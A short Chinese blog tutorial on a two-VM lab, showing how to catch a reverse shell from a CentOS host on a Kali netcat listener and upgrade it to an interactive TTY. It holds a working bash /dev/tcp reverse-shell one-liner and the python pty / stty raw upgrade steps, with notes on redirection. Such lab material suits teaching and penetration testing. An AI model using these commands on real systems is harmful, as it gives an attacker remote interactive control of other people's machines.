反弹shell升级成交互式shell

实验环境:

A : kali 虚拟机

B: centos7.5 虚拟机

1. A 机 kali 虚拟机 设置监听 端口

root@kali64:~# nc -lvvp 9001
# 端口随便定义,没被使用就行

2. B机 执行命令反弹shell

[root@localhost ~]# bash -i >& /dev/tcp/192.168.2.128/9001 0>&1
# ip地址为 kali 虚拟机的ip地址,端口为kali虚拟机监听的端口 主机ip和端口之间为`/`

补充:

  • 标准输入 (stdin) :代码为 0

  • 标准输出 (stdout):代码为 1

  • 标准错误 (stderr):代码为 2

> 为重定向符号 , & 没有固定的意思

&>>&理解成一个整体

&>file # 将 标准输出 和 标准错误输出 都重定向到文件file中

>& # 将标准输出和标准错误输出重定向到文件/dev/tcp/,即传递到远程

2>&1 # 将标准错误重定向到标准输出中

0>&1 # 将标准输入重定向到标准输出中

  • 反弹后再kali机上面查看,可以输入命令,不支持tab键,清屏等功能,需要升级成交互式shell

3.升级交互式shell

# 以下命令都是在kali 机上面操作

[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'   #使用python
[root@localhost ~]# ^Z		      # ctrl + z 按键  挂起正在运行的程序 
root@kali64:~# stty raw -echo	      # 输入这句后 在输入命令终端不在显示 
root@kali64:~# fg		      # 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车
[root@localhost ~]# reset
[root@localhost ~]# export SHELL=bash

退回到kali机
# 以下命令都在kali机上面操作

[root@localhost ~]# exit       # 退出终端
[root@localhost ~]# exit       # 看前面主机名和用户来区分,继续退出,
root@kali64:~#  
# 看到主机名变为kali说明回到kali机上面了------ 此时输入命令是不显示的

root@kali64:~# reset           # 将终端恢复至原始状态

补充:

stty -echo # 禁止回显,当在键盘上输入时,并不出现在屏幕上

stty echo # 打开回显

stty raw # 设置原始输入

stty -raw # 关闭原始输入

bg # 将一个在后台暂停的命令,变成继续执行

fg # 将后台中的命令调至前台继续运行

jobs # 查看当前有多少在后台运行的命令

ctrl + z # 可以将一个正在前台执行的命令放到后台,并且暂停

clear # 清屏,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。

reset # 将终端恢复至原始状态,之前的终端输入操作信息将都会被清空

posted @ 2020-12-01 13:50  内向是一种性格  阅读(1641)  评论(0编辑  收藏  举报